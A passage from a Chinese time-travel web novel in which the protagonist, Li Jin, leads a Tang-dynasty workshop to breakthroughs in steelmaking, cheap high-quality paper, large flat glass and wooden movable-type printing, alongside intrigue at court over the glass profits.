铁水在炒炼炉中沸腾、四溅,赵匠师全神贯注,根据铁水的颜色、粘稠度、沸腾状况,不断调整着搅拌速度和氧化剂的添加。终于,他看准时机,猛地用铁勺舀起一团已变得粘稠、颜色暗红、火星四溅的半流体,迅速倒入旁边准备好的模具中。
“嗤——!” 一阵白烟腾起,模具中的金属迅速冷却成形。
待其稍冷,赵匠师用铁钳夹出那块仍发着暗红光泽的金属块,放在铁砧上,示意一名膀大腰圆的学徒抡起大锤。
“铛!铛!铛!”
沉重的锻打声中,那块金属迅速延展变形,火星四射,却没有像劣质生铁那样脆裂,而是显示出良好的延展性和韧性!赵匠师又取来一块冷却后的边角料,用锤子敲击,其声清脆,断口处呈现细密的银亮光泽,与寻常熟铁或低碳钢的灰暗断口明显不同。
“成了!是精钢!好钢!” 赵匠师声音颤抖,举起那块经过初步锻打的钢块,在阳光下,其表面隐约可见流水般的细密纹路,那是碳分布相对均匀的表现。
李瑾接过那块尚有余温的钢块,入手沉甸甸,敲击声清越。他知道,虽然这“精钢”的碳含量、均匀性、杂质控制与后世工业钢不可同日而语,但比起唐代常见的百炼钢、灌钢法所得,其生产效率、材料利用率、以及性能稳定性,很可能已有了质的飞跃!更重要的是,这条路走通了!高炉+热风+改良燃料+炒炼/灌炼的工艺路线是可行的!
“恭喜先生!贺喜先生!此铁水易得,成钢优良,实乃神术!” 三位匠师围拢过来,激动万分。
“是诸位师傅技艺精湛,不辞辛劳之功!” 李瑾郑重向三人躬身一礼,“今日之功,当载入工坊史册,三位师傅及所有参与之人,皆有重赏!然此术初成,尚需精益求精,探索最佳配比、工艺。望诸位再接再厉!”
“愿为先生效力!” 众人齐声应诺,士气高昂。
李瑾又仔细询问了此次冶炼的详细数据——燃料消耗、铁水产出率、炒炼得钢率、以及钢块的初步观感性能,让随行的账房详细记录。他知道,这些数据是未来改进的基础。
离开工坊时,夕阳已将天边染成绚烂的橘红色。李瑾回头望去,那座刚刚诞生了唐代第一炉“现代工艺”钢水的高炉,在暮色中静静矗立,烟囱仍有袅袅余烟,仿佛一个新时代的图腾。
钢铁,文明的基石。有了它,工坊才能制造更精密的工具、更耐用的器械,甚至……为未来可能的更多“奇迹”,打下坚实的基础。而这“高炉炼精钢”的成功,如同一声惊雷,虽暂时只在城南一隅炸响,但其回音,必将穿透围墙,震撼整个长安,乃至更远的地方。
李瑾坐上马车,嘴角噙着一丝笃定的微笑。玻璃、牛痘、钢铁……他播下的种子,正在这片古老的土地上,一颗接一颗地,破土发芽。
第43章 新纸胜蔡侯
“一号高炉”的成功出铁与炼出品质优良的“精钢”,如同在城南工坊的胸膛里注入了一股滚烫而强劲的血脉。消息被严密封锁在核心试验区的围墙之内,只有极少数核心人员知晓。但那股昂扬的士气、匠师们眼中愈发炽热的光芒,以及后续试验中不断改进工艺、提高产出稳定性的高效运作,无不彰显着这项突破带来的深远影响。赵、钱、孙三位匠师如今在工坊内的地位俨然不同,他们带领的“冶铁试验组”获得了更多资源倾斜,开始系统性地探索不同矿石配比、焦炭与木炭比例、鼓风强度与铁水成分、性能之间的关系,并尝试小规模地应用新炼出的“精钢”,打造一些工坊自用的改良工具,如更坚韧耐用的铁砧、铁钳、乃至简易的车刀、钻头。这些工具的效率与耐用性,很快在其他工匠中赢得了口碑,对工坊整体生产力的提升,起到了立竿见影的效果。
李瑾对此深感欣慰。钢铁基础的夯实,为后续更多“奇巧”之物的研制,提供了坚实的物质保障。他将更多精力,投向了工坊“量产二区(综合坊)”的规划与启动,而他的第一个目标,直指一项在此时看来或许不如玻璃、钢铁炫目,但其长远影响可能更为深远的技术——造纸术的革新。
唐代的造纸术,在东汉蔡伦改进的基础上,已发展到相当高的水平。主要原料有麻、楮皮、藤、桑皮、竹子等,能生产出质地、色泽、用途各异的纸张,如硬黄纸、薛涛笺、澄心堂纸等名纸,为灿烂的唐代文化艺术提供了重要载体。然而,此时的造纸工艺仍有其局限:原料处理(沤、煮、舂)耗时费力,依赖大量人工;纸张质量(均匀度、洁白度、吸墨性、韧性)受原料、水质、工艺经验影响大,上等纸品价格不菲;生产效率相对低下,难以满足日益增长的文化需求,更遑论普及。更重要的是,优质纸张的生产与供应,往往与某些世家大族、寺院或特定地区的工匠团体绑定,形成某种程度的垄断,间接影响着知识传播的成本与范围。
李瑾的目的,并非简单地复制或小改现有技术。他要的,是依托对造纸原理(植物纤维的分离、提纯、交织成页)的更深理解,结合工坊已有的条件(钢铁工具、可能改进的机械、对化学处理的初步认知),创造出一种质量更高、成本更低、更易规模化生产的新型纸张。这不仅是为了工坊开辟新的财源,更深层的意图在于,打破知识载体的垄断,为未来可能的文化普及、信息传播乃至……政治宣传,埋下伏笔。当然,这层意图,他只会深藏心底,对外的理由,则是“为太子及东宫、宫中提供更优质、廉价的文书用纸”,以及“试验海外改良之法,以利文教”。
造纸的试验,他没有再完全依赖招募“大匠”,而是采取了另一种模式。他让王掌柜寻访那些出身造纸世家或作坊、但因各种原因不得志、或思想较为开明的中年工匠,以及一批心灵手巧、肯学肯钻的年轻学徒。他亲自出面,在工坊内辟出一处安静的偏院,挂上“纸料研习所”的牌子,将这些人集中起来,并不急于让他们立刻动手,而是先进行“培训”。
培训的内容,是李瑾结合前世常识和唐代现状“编纂”的“造纸原理浅说”。他用炭笔在木板上画出简易的示意图,讲解植物纤维的结构,为何要沤、煮、舂(破坏纤维间的胶质,分离纤维),纸浆悬浮、抄捞、压榨、烘干的基本原理。他特别强调了几个关键点:原料的多样化与预处理(除传统麻、楮皮,可否尝试竹、草、甚至破布旧纸?预处理时,除了石灰沤泡,可否尝试加入碱液如草木灰水、甚至工坊能小量制备的纯碱溶液,以加强脱胶脱色效果?);打浆的均匀与细度(现有的碓、碾效率低,可否利用工坊的新式水车或畜力,驱动改良的“打浆机”?将铁制或石制叶片置入浆池,旋转击打,提高效率和均匀度);纸药的应用(加入某些植物黏液如黄蜀葵、杨桃藤汁,改善纸浆悬浮性和成纸性能);以及漂白与增白(除了日光漂晒,是否可用温和的氧化剂如稀石灰水浸泡、或加入少量明矾?)。
这些理念,对习惯了祖传手艺、知其然不知其所以然的工匠们来说,无异于打开了一扇新世界的大门。他们最初是惊疑,但在李瑾耐心讲解、并用简单的实验(如对比不同原料沤泡后的纤维状态、不同力度舂捣后的纸浆手感)验证后,渐渐转变为信服和兴奋。尤其是那些年轻学徒,接受新知识更快,思维也更活跃。
李瑾从中挑选了两位领悟力最强、也最有钻研精神的匠人——一位是出身藤纸世家、却因想用竹料试验而被家族排斥的四十岁匠人滕贵;另一位是原本在官营造纸坊做学徒、因“手笨”被嫌弃、实则心思细腻、善于观察的二十岁青年方竹——任命为“纸料研习所”的正副管事,给予他们充分的自主权和资源调配权,鼓励他们大胆试验,并承诺只要做出“优于市面常见上等纸”的成品,便有重赏。
有了理论指导和带头人,“纸料研习所”迅速运转起来。李瑾提供了几个明确的改进方向:一、尝试用本地易得的毛竹、稻草混合树皮,探索新的廉价原料配方。二、设计并制造简易的“水力打浆机”模型。三、试验不同浓度、温度的碱液(草木灰水、纯碱水)预处理原料的效果。四、寻找并试验效果更佳的本地“纸药”植物。五、尝试在纸浆中加入少量研磨极细的洁白矿物(如高岭土、石膏),或进行温和的漂白处理,改善纸张白度和细腻度。
原料和“纸药”植物的搜寻,由王掌柜派人负责。水力打浆机的设计,李瑾画出了原理草图——一个大型水车驱动一根立轴,立轴下方连接带有多个木制或包铁叶片的转子,在石制或砖砌的浆池中高速旋转,击打纸浆。具体的尺寸、转速、叶片形状,则由滕贵、方竹带着几个木匠、铁匠边做边改。
核心的化学处理部分,李瑾亲自把关。他让孙匠师在冶铁试验间隙,指导搭建了几个小型陶制反应罐和过滤装置,用于制备较纯净的草木灰浸出液(碳酸钾)和纯碱溶液。他小心翼翼地控制着浓度、温度和处理时间,并让方竹详细记录不同条件下,原料脱胶、脱色的效果,以及对最终纸张白度、强度的影响。这是一个需要大量重复试验、积累数据的过程。
就在“纸料研习所”的试验紧张进行时,长安城中的朝堂与市井,也因工坊的另一项产出,泛起了新的涟漪。
经过持续攻关和技术沉淀,玻璃量产一区的“大尺寸平板玻璃”烧制工艺,终于取得了决定性突破!匠人们改进了熔炉的均热结构,优化了玻璃液的配方和澄清时间,并设计出专用的、带水冷底座的铸铁平台和耐热石磙,成功拉制出了长三尺、宽两尺、厚薄相对均匀、透明度极高、气泡和杂质极少的大块平板玻璃!虽然成品率依然不高,边缘也需切割打磨,但其晶莹剔透、可透光鉴物的特性,一经制成,便震撼了所有亲眼所见的工匠,连那三位见惯了“奇物”的“监理”宦官和匠官,也啧啧称奇,立刻上报。
消息很快传入宫中。皇帝李治闻讯,大感兴趣,特意让内侍省传话,要工坊先送几块成品入宫,看看是否真如所言。王掌柜亲自押送,挑选了品相最佳的三块平板玻璃,以锦缎包裹,装入特制的木箱,送入宫中。
数日后,宫中有旨意传出,皇帝对这几块“明净如水、可透天光”的“大水玉”极为满意,已命将作监的工匠,将其镶嵌于自己日常起居的两仪殿偏殿书房的窗格之上,替换了原来的明瓦(云母片)和昂贵的、透明度欠佳的“琉璃瓦”(早期彩色玻璃)。据说,御书房内光线顿时明亮柔和了数倍,晴天时可清晰观览窗外景致,阴雨时亦不觉昏暗,且防风防尘效果更佳。李治龙颜大悦,不仅厚赏了王掌柜(名义上的坊主),还特意在召见李瑾时提及,称赞“此物大善”,并询问产量能否提高,宫中其他殿阁,乃至皇后、太**中,是否也可用上。
李瑾自然满口应承,表示工坊正全力改进工艺,提高良品率,定当优先保障宫中御用。同时,他也委婉提及,此物制造极难,耗费甚巨,工坊目前产能有限,除供奉内廷外,或可少量制成精致物件(如插屏、镜台),发卖于市,以其所得,反哺工坊研发与生产,并可为内帑增添些许进项。李治心情正好,略一思索便同意了,只嘱咐“不可滥制,以免有损宫中用度,亦不可与民争利过甚”。
有了皇帝的首肯和“御用”光环加持,工坊出产的平板玻璃及以其制成的各种物件(如镶嵌玻璃的座屏、梳妆镜、灯罩),立刻在长安顶级权贵圈中成为了身份与品味的象征。王掌柜适时推出了“限量预订”、“价高者得”的策略,并暗中将几件精品“赠送”给了长孙无忌、褚遂良、于志宁等重臣府上。一时间,“周氏工坊明玻”之名,悄然在长安最顶层的圈子里流传开来,前来打探、求购、甚至想“参一股”的勋贵、富商络绎不绝,但都被王掌柜以“专供内廷、产能有限、东家有严令”为由,客气而坚决地挡了回去。这反而更增添了其神秘与珍贵。
玻璃的暴利,如同一个强劲的泵,为工坊注入了源源不断的资金,使得造纸、乃至其他后续项目的试验,可以更加从容、不计短期回报地进行。李瑾也借此,进一步巩固了与于志宁、乃至通过于志宁与太子、王皇后一系的关系——他定期将一部分玻璃制品的利润,以“孝敬”或“赞助东宫用度”的名义,秘密转入东宫的小金库。于志宁对此心照不宣,对李瑾的“懂事”与“能干”愈发满意。
然而,利益的蛋糕做大了,觊觎的目光自然更多。萧瑀虽闭门,但其子侄、门生故旧仍在朝在野。萧淑妃在宫中听闻“明玻”之美,自然也向皇帝求取,李治大方赏赐,但她似乎并不满足。市面上开始出现一些流言,说“周氏工坊”背后有宫中贵人乃至东宫的影子,其术恐非“海外奇术”那么简单,或与“谶纬”、“巫蛊”有涉云云,虽未指名道姓,但指向性明显。显然,有人想借“谶纬案”的余波,给工坊和李瑾泼脏水。
对此,李瑾早有防备。他让王掌柜加强工坊的守卫和人员审查,对外则一律以“江南商人谨守本分、仰慕天朝、愿献微技”为由应对。同时,他通过于志宁,向皇帝略微提及“有小人妒忌工坊得陛下青睐,散布流言”,李治闻言,只冷哼一声:“些许跳梁,不必理会。” 显然,在皇帝看来,能产出“明玻”这等奇物、又主动将大部分利润与宫中分享的工坊,远比那些只知眼红嚼舌的“小人”有价值得多。皇帝的明确态度,使得流言很快消散。
就在李瑾忙于应对玻璃带来的名利与风波时,“纸料研习所”传来了激动人心的消息。
经过近两个月的反复试验、调整,滕贵和方竹带领的团队,终于取得了一系列关键突破。他们发现,用一定比例的毛竹丝混合楮皮、少量旧麻布,经过特定浓度的纯碱溶液温和蒸煮预处理,再以初步完成的水力打浆机(虽然效率还不高,但已远胜人工)充分打浆至纤维细长均匀,加入本地找到的一种野生葛藤汁作为纸药,并在纸浆中加入极细的、经过淘洗的高岭土浆,最后用改进过的细密竹帘抄纸、重物压榨、再以光滑石板和炭火低温烘烤(加速干燥并增加纸张光洁度)……如此制出的纸张,竟然呈现出一种前所未有的品质!
这一日,李瑾被紧急请到“纸料研习所”。在偏院的正堂大桌上,平平整整地铺着十几张新制成的纸。纸张大小约一尺见方,颜色并非雪白,而是一种温润的、略带米黄的象牙白,质地均匀细腻,对着光线看去,纤维交织细密,几乎看不到明显的云状或杂质。李瑾伸出手,轻轻抚摸纸面,触感柔韧平滑,略带涩意,正是上等纸张应有的“发墨”特性。他拿起一张,双手捏住两边,轻轻用力拉扯,纸张极具韧性,不易撕裂。又取来一支寻常毛笔,蘸了墨汁,在纸上试写,墨迹润而不洇,笔锋清晰,干得也快。
“好纸!” 李瑾眼中放光,不吝赞美。这纸的质量,绝对超过了长安市面常见的上等麻纸、藤纸,洁白度、均匀度、韧性、吸墨性皆属上乘,尤其难得的是,其原料成本(毛竹、楮皮、旧布)远低于纯用藤、麻,且水力打浆的引入,大大降低了人力成本和时间。虽然目前还是小规模试验,但规模化生产的潜力巨大!
“先生请看,” 方竹激动地指着旁边另一叠颜色更白些的纸,“这是尝试了用稀石灰水浸泡漂白过的竹丝制成的,颜色更白,但韧性稍逊。还有这个,” 他又指着一叠略厚、表面有明显帘纹的纸,“这是加大纸药比例、抄纸时多荡几下制成的,质地厚实,可作包装、衬垫之用。”
滕贵补充道:“先生,按您说的‘标准化’,我们记录了每一次试验的原料配比、处理时间温度、打浆程度、纸药用量、烘烤火候。最优的配方和工艺,基本摸索出来了。现在这小型水打浆机一日夜,可得精浆约百斤,可制这等纸近千张。若建成大水车、大浆池,产量还能翻数倍不止!而且……” 他压低声音,眼中闪着兴奋的光,“我们算过,同等质量的纸,咱们的成本,怕是连西市那些大纸坊的三成都不到!”
成本不到三成!这意味着什么?意味着一旦量产,这种优质纸张可以以远低于市价的价格销售,迅速占领市场,甚至可能彻底改变纸张的定价体系!这背后蕴含的利润,以及更重要的——对文化传播格局的潜在冲击,将是惊天动地的。
李瑾强压心中的激动,他知道,这“新纸”的出现,其意义绝不亚于玻璃和钢铁,甚至更为深远和敏感。它触及的,是知识、教育、乃至士族门阀赖以维持其文化特权的根基之一。
“滕师傅,方竹,还有诸位,辛苦了!” 李瑾郑重地向在场所有参与试验、满脸烟灰汗渍却目光灼灼的工匠、学徒们拱手,“此纸之成,功在诸位!赏赐即刻兑现,参与试验者,人人有份!”
众人欢声雷动。
李瑾将滕贵和方竹叫到一旁,神情转为严肃:“此纸甚佳,然眼下不宜立刻大规模制售。需谨记几点:第一,继续优化工艺,提高水力打浆机的稳定性和效率,摸索更廉价的漂白方法。第二,严格控制配方和工艺细节,所有记录归档封存,核心步骤必须分割掌握。第三,先小批量制作一些精品,以‘工坊特制’的名义,赠予东宫、崇文馆、以及朝中几位赏识我们的大人试用,听听他们的评价。记住,对外只说是‘偶得改良古法’,切勿提及具体原料配比和工艺细节,尤其不可提‘成本低廉’。”
滕贵和方竹都是聪明人,立刻明白了李瑾的顾虑。如此物美价廉的纸张一旦公开,必将触动现有纸张生产、销售链条上的无数利益,引来疯狂反扑。必须谨慎行事,先造势,站稳脚跟。
“还有,” 李瑾沉吟道,“可尝试用此纸,印制些东西。”
“印制?” 两人一愣。
“嗯,比如……工坊的标识,简单的吉祥话,或者……一两句圣贤格言。” 李瑾脑中,活字印刷的构想已经开始浮现,但他知道饭要一口口吃,“就用传统的雕版,印在纸上,作为赠品。让大家看看,这纸不仅好写,也好印。”
他要让这“新纸”,和“印刷”这个概念,悄然联系在一起,在人们心中埋下种子。
离开“纸料研习所”,李瑾心潮澎湃。玻璃带来了财富和上层关系的巩固,钢铁奠定了工坊的硬实力基础,而这“新纸”,则可能为他打开一扇通往更广阔天地的门——影响思想、传播文化、乃至塑造舆论的门。
当然,他也清楚,这扇门背后,必然伴随着更猛烈的风暴。那些依靠垄断优质纸张、把控书籍流通、乃至倚仗文化特权维系地位的世家大族、旧有利益集团,绝不会坐视一种可能打破平衡的“新纸”轻易崛起。
“新纸胜蔡侯……” 他低声自语,嘴角泛起一丝冷峻而期待的弧度。蔡伦改进造纸术,泽被千秋。如今,他在这大唐盛世,要借工匠之手,让这承载文明的纸张,变得更好、更廉,飞入更多寻常人家。这注定是一条荆棘之路,但他已手握玻璃之利、钢铁之坚,更有超越时代的见识为引,何惧之有?
工坊的烟囱,依旧每日向蓝天吐纳着充满希望的烟尘。而“新纸”的诞生,如同一颗投入水面的石子,其激起的涟漪,终将超越城南一隅,向整个长安,乃至整个大唐的文化深潭,扩散开去。
第44章 活字排版术
盛夏的长安,溽热难当,蝉鸣聒噪。然而在城南工坊的核心区域内,一座新近落成、墙壁厚实、窗洞高阔的砖石建筑内,气氛却沉静而专注,只有工具与材料接触的细微声响,以及偶尔压低声音的简短交流。这里,是刚刚挂牌不久的“文器研造所”,是继“冶铁”、“纸料”之后,工坊内又一个核心研发部门。而它正在秘密进行的项目,其意义之重大,在李瑾心中,甚至超越了玻璃的晶莹、钢铁的坚韧与新纸的柔白。
活字印刷术。
如果说“新纸”的诞生,为知识的广泛传播提供了优质而廉价的载体,那么“活字印刷术”,则是将知识批量、快速、准确复制的钥匙。这两者的结合,将对文化的传承、思想的流通、教育的普及乃至政治的运作,产生难以估量的革命性影响。李瑾深知,在雕版印刷已然存在但效率低下、成本高昂的唐代,活字印刷一旦成功,其威力不亚于在信息传播领域投下了一颗惊雷。
然而,他同样清楚其中的挑战与敏感。唐代的雕版印刷主要用于佛经、历书、少量诗文集的刊印,技术掌握在官府、寺院及少数大书商手中,且每印一页需刻一整版,费时费料,无法灵活修改。活字印刷的理念并不复杂——制造可重复使用的单个反文字模(活字),按需排版,刷墨印刷,印毕拆版,字模可再用。但具体实现,涉及材料、工艺、排版、油墨乃至生产组织的一系列难题。
李瑾没有急于求成。他再次采用了“理论指导+实践探索+精英攻关”的模式。他亲自撰写了一份极为详细的《活字印刷推演手札》,从基本原理、工艺流程、所需材料、可能遇到的问题及解决思路,一一罗列,并结合唐代已有的技术条件,提出了几种可能的实现路径。这份手札,他只交给了两个人——文器研造所的负责人,以及一位他新近物色到的关键人物。
文器研造所的负责人,是工坊内一位名叫鲁平的年轻木匠。他不过二十出头,却已是长安小有名气的巧手,尤其擅长微雕和复杂榫卯,原本在一家专做文玩匣盒的铺子做大师傅,因不满东家剽窃其设计还克扣工钱,愤而离去,被王掌柜以重金和“可尽情施展奇思妙想”的承诺挖来。鲁平性格沉静,心细如发,一双眼睛看东西仿佛自带尺规,是执行精密活计的不二人选。
而那位关键人物,则是一位年过五旬、从将作监退下来的老刻工,姓郑。郑师傅在将作监干了一辈子雕版刻字,技艺精湛,对各类木材、刻刀特性、乃至字体结构都有极深的研究,但因性情耿直、不善钻营,始终未能升任“直官”,退休时只是个“匠头”。李瑾让王掌柜三顾茅庐,许以厚禄,并承诺“不干涉其技艺,唯求精益求精”,方才将他请来。郑师傅起初对“活字”之说将信将疑,但在看完李瑾那份条理清晰、直指关键的手札后,沉默良久,只说了句:“此法……若成,可省万千雕工之力。老朽愿试之。”
李瑾将鲁平和郑师傅召集到文器研造所,与滕贵、方竹(负责提供和改进适应印刷的特种纸张)一起,开了第一次“活字印刷项目”的闭门会议。他明确了分工和目标:郑师傅凭借对文字和雕刻的深刻理解,负责确定活字的字体、大小、高度标准,并摸索最合适的刻制材料和方法;鲁平则负责设计并制造用于排版的“字盘”、“字库架”以及保证印刷平整均匀的“压印台”;滕贵和方竹则需要根据印刷要求,进一步改良纸张,确保其吸墨均匀、不易破损,并协助研发更适合活字印刷的油墨(现有雕版用墨较稠,可能不适用于活字的小面积着墨)。
“诸位,” 李瑾最后总结,“此术之要,首在‘活’字,次在‘准’与‘匀’。‘活’者,字模可反复使用,排版灵活;‘准’者,字模大小、高度、笔画深浅需一致,排版稳固,印出之字清晰无缺;‘匀’者,墨色浓淡一致,压力均匀,纸张平整。此三项,缺一不可。我们可先不贪多,以常用数百字为始,试制一套,先印些简单文句,验证可行性。材料、工艺若有任何难题,随时可提,工坊全力支持。”
郑师傅首先对“材料”提出了疑问:“东家,雕版多用枣木、梨木,因其木纹细、硬度适中。然木活字,受潮易胀,刷墨易损,反复使用恐难长久。金石(铜、锡、铅)或胶泥烧制,或可更耐久,然雕刻、铸造、烧制之法,又与木刻不同,老朽需摸索。”
李瑾点头:“郑师傅所虑极是。我们可多路并进,同时试验。木材易得,便于初期试验。烦请郑师傅先选定一种木质细腻、变形小的木料(如黄杨、梓木),制定一套标准(如字面大小、字身高度、笔画深度),刻制数十个常用字试试。同时,鲁平,你可尝试用我们新炼的‘精钢’制作小型刻刀,或许更利于雕刻精细笔画。至于金石与胶泥,也需开始准备。金石活字需铸造,可与冶铁组的钱师傅商议,看能否用失蜡法或翻砂法铸造小型铜字或铅锡合金字。胶泥活字,需寻找粘性适中、收缩均匀、烧成后坚固不裂的黏土,此事可请孙匠师协助。我们不必急于选定一种,可比较其优劣。”
鲁平则对“排版”提出了构想:“东家,按您手札所言,需有‘字盘’(排版的托盘)和‘字库架’(存放活字的架子)。字盘需平整,四周有边框,内里或可设置卡槽或磁石(若有),以固定排好的活字。字库架则需分门别类,便于检字。我画了几个草图,请东家、郑师傅过目。” 他拿出了几张炭笔草图,上面清晰地画出了类似抽屉柜的多层字架,每格标注部首或韵部,以及带有活动卡条和水平尺的排版铁盘。
李瑾看了大为赞赏:“鲁平构思巧妙!字架按部首或韵部排列,检字时可事半功倍。排版盘加水平尺和卡条,可确保版面平整稳固。你可先按此制作一套木质的试用。另外,还需考虑‘空铅’(填充空白的矮字)和‘铅条’(行间距)的制作,这些可用木头或金属制成统一高度但无字的模块。”
滕贵和方竹则带来了新研制的几种纸张样品和改良的油墨。“先生,这是按您说的,增加了少许明矾和胶液,纸质更挺括、吸墨更均匀的‘印书纸’。还有这种,加入了少量靛蓝染料,纸色微青,可缓解阅读疲乏。油墨方面,我们尝试用松烟混合桐油、少量蜡和香料,调整了浓稠度,似乎更易于在活字小面上均匀附着,且干后不易晕散。但还需实际上机试验。”
会议开了整整一个下午,确定了初步的技术路线、分工和试验计划。文器研造所随即进入了紧张而有序的攻关状态。郑师傅带着两名精选的学徒,开始日夜不休地试验不同木材的刻字效果,并着手制定第一套“标准字模”的尺寸和字体。他最终选定了一种产自秦岭的百年黄杨木,木质极其细腻坚硬,经特殊药水浸泡处理后,防潮防蛀性能更佳。他亲自操刀,以欧阳询的楷书为蓝本,加以简化调整,使其更适合雕刻和印刷,开始刻制第一批三百个常用字的木活字。每一个字,他都要求高度误差不超过半根发丝,笔画深浅均匀,反字清晰锐利。
鲁平则带着木工组,开始制作第一代“字库架”和“排版盘”。字库架被做成了一个巨大的、可旋转的多宝格样式,分门别类,贴上标签。排版盘则用硬木制成,底部镶嵌了薄铁片,四周有可调节的卡尺,并配备了鲁平自己设计的简易“水平气泡仪”(在一个密封小木盒中注入水和气泡)。他还尝试用磁石(此时称“慈石”)碎屑混合胶液,涂抹在排版盘底部,看是否能吸附铁质或嵌有铁片的活字,增加排版稳固性,但效果还不理想。
冶铁组的钱匠师在完成高炉炼钢的日常改进任务之余,也被李瑾秘密布置了“铸造金属活字”的试验。他带着几个学徒,尝试用蜂蜡雕刻出正文字模,包裹特制泥浆制成外范,加热脱蜡后形成空腔,再浇注熔化的铅锡合金(加入少量锑以增加硬度)。这是一项精细活,初期废品率极高,但钱匠师是个爱钻研的,越挫越勇,逐渐掌握了温度和配比的诀窍,开始能铸出一些笔画清晰、轮廓分明的金属字,只是尺寸控制和材质均匀性还需提高。
孙匠师则负责胶泥活字的试验。他寻来数种不同产地的黏土,反复试验配比、揉炼、陈腐、阴干、焙烧的工艺,寻找收缩率小、烧成后坚固不易碎、表面细腻可着墨的配方。这是一项更需耐心和运气的工作。
就在文器研造所的各项试验艰难推进时,李瑾也并未闲着。他开始思考活字印刷术的“首发”内容。不能是经史子集,那太敏感,容易过早触动文人士大夫的神经。也不能是佛道经典,以免与寺院势力产生纠葛。最好是看似无害、甚至带有“祥瑞”、“教化”色彩,又能展现印刷术优越性的内容。
他最终选定了两个方向:其一,印制一批《千字文》和《百家姓》。这是最基础的蒙学读物,需求广泛,内容固定,印刷出来可用于工坊自办的“匠童学堂”识字,也可作为“赠品”送入东宫、崇文馆乃至宫中,展示“新纸”与“新法印书”的效果。其二,他有一个更大胆的想法——印制一种简易的、图文并茂的《农桑辑要》或《市井百工图说》。将一些实用的农事经验、工匠技巧,用浅显的文字和简单的图示(可先请画工绘制,再雕成整版插图)印刷出来,若能推广,对提高生产力、改善民生或有裨益,也更契合他“格物致用”的理念,且不容易被直接攻击为“蛊惑人心”。
他将这个想法与于志宁私下沟通,于志宁起初觉得有些“匠气”、“不登大雅”,但在李瑾阐述了“劝课农桑、推广良技、亦是仁政”的道理,并暗示此举或可得皇帝赞许后,于志宁沉吟片刻,最终点头:“你若能做,且做得妥帖,倒也无妨。只是内容需严谨,不可有谬误,更不可涉及时政。”
有了于志宁的默许,李瑾心中更定。他让王掌柜暗中寻访几位擅长工笔白描、且愿意接受“雇佣”、不要求署名权的画师,开始绘制一些农具、纺织、水利工具的简图,并配上简要说明。同时,他也开始草拟《农桑辑要》的简明文字内容,力求通俗易懂。
时间在忙碌中进入七月。文器研造所传来阶段性捷报:郑师傅主导的木活字率先取得突破!第一批三百个黄杨木常用字刻制完成,大小、高度高度一致,笔画清晰锐利。鲁平制作的排版盘和字库架也已就位。滕贵、方竹提供的改良油墨和特制印书纸准备就绪。
七月初十,一个晴朗的早晨,在文器研造所最里间、门窗紧闭的“试印房”内,进行了第一次活字排版印刷试验。
郑师傅亲自检字,鲁平协助排版。他们将“天地玄黄,宇宙洪荒。日月盈昃,辰宿列张”这十六个字,从字库中一一检出,按照“从右至左、从上到下”的阅读顺序,仔细排入带有卡尺的木质排版盘中,并用薄木片制成的“空铅”和“铅条”调整字距、行距,确保版面平整、稳固。排版完成后,郑师傅用一把特制的小刷子,蘸取适量油墨,在字面上均匀而快速地刷过。
接着,方竹将一张裁切好的印书纸小心覆于排好的活字版上。鲁平则推动一个装有皮革衬垫的木质滚轮(他设计的简易“压印器”),从纸背均匀滚过,施加压力。
房间里静得能听到呼吸声。所有人,包括悄然前来的李瑾,都屏息凝视。
鲁平缓缓揭开纸张。
清晰、整齐、墨色均匀的十六个楷体字,赫然呈现于温润的米黄色纸面上!字迹挺拔,笔画分明,排列整齐,没有丝毫模糊、歪斜或缺漏!与雕版印刷的效果几乎无异,甚至因为活字笔画独立,着墨更均匀,显得更为精神!
“成了!” 郑师傅激动得胡须微颤,拿起那张还散发着墨香的纸,对着窗缝透入的光线仔细查看,喃喃道:“成了……真的成了!活字……果真可印!”
鲁平、滕贵、方竹等人也忍不住欢呼起来。李瑾接过那张纸,指尖拂过尚有余温的字迹,心中亦是波澜起伏。这一步,终于迈出去了!虽然只是十六个字,虽然木活字还有耐久性的考验,虽然排版、印刷的效率还有巨大提升空间,但最关键的原理验证,成功了!活字印刷术,在这大唐工坊的一隅,从构想变成了现实!
“诸位,大功告成第一步!” 李瑾环视众人,声音沉稳中带着激昂,“然此仅为始。接下来,需继续刻制常用字,完善字库;优化排版工具,提高检字排版速度;改进油墨和纸张,提升印刷品质;还要试验金石、胶泥活字,寻求更耐久之材。待字库初备,我们便先印那《千字文》和《百家姓》!”
众人轰然应诺,干劲十足。
第一次成功试印的消息被严格保密。但李瑾知道,秘密不会保持太久。当工坊出品的、带着独特墨香、字迹清晰整齐的《千字文》小册子开始在东宫、崇文馆乃至少数重臣府邸悄然出现时,必然会引起注意。那些识货的人,会立刻意识到这种“印刷品”的不同寻常——它们没有雕版印刷常有的、因版面磨损或木材变形导致的细微差异,每一本都如同一个模子刻出,且内容似乎可以灵活组合。
风暴的前兆,或许就藏在这看似不起眼的小册子之中。但李瑾已无退路,也不想后退。活字排版术的成功,如同为他手中的“笔”,装上了可以无限复制的“锋刃”。他要用的,不仅仅是这锋刃去获取财富,更要用它去刻写新的规则,去拓印一个更加开阔、更加明亮的未来。
文器研造所的灯火,常常亮至深夜。那“咔哒”的检字声、“沙沙”的排版声、以及滚轮压过纸背的轻响,汇成了一曲沉默而有力的革命序曲,在这盛夏的长安城南,悄然奏响。
第45章 琉璃成批量
盛夏的长安,烈日如火,但比天气更灼热的,是城南工坊“玻璃量产一区”内熔炉日夜不熄的火焰,以及王掌柜心中那份滚烫的、关于“明玻”量产与财富的蓝图。自“大尺寸平板玻璃”获得皇帝青睐、获准“限量发卖”以来,来自宫廷、顶级权贵府邸乃至嗅觉敏锐的豪商的订单与求购意向,便如同这七月的骤雨,虽不密集,却每一滴都分量十足,砸在工坊本已紧绷的产能弦上,发出近乎**的声响。
供不应求,价高者得。这是王掌柜在李瑾授意下刻意维持的局面。几面镶嵌了平板玻璃的座屏、妆台,在长安最顶层的圈子里引发了小小的轰动,其晶莹剔透、映照万物毫厘毕现的特性,被赋予了“澄怀观道”、“明心见性”等风雅寓意,迅速成为身份与品味的新标杆。然而,工坊每月能稳定提供的“大板”不过十数块,制成器物更是寥寥,往往需要通过隐秘的渠道竞价,价码已被炒到令人咋舌的地步——一面三尺见方的玻璃镜屏,其价值已远超同等大小的金器!暴利之下,窥探、打探、乃至试图以权势压价、索要“供奉”的各色人等,也愈发多了起来。虽有“内廷供奉”的牌子和皇帝隐约的庇护,但压力依旧与日俱增。
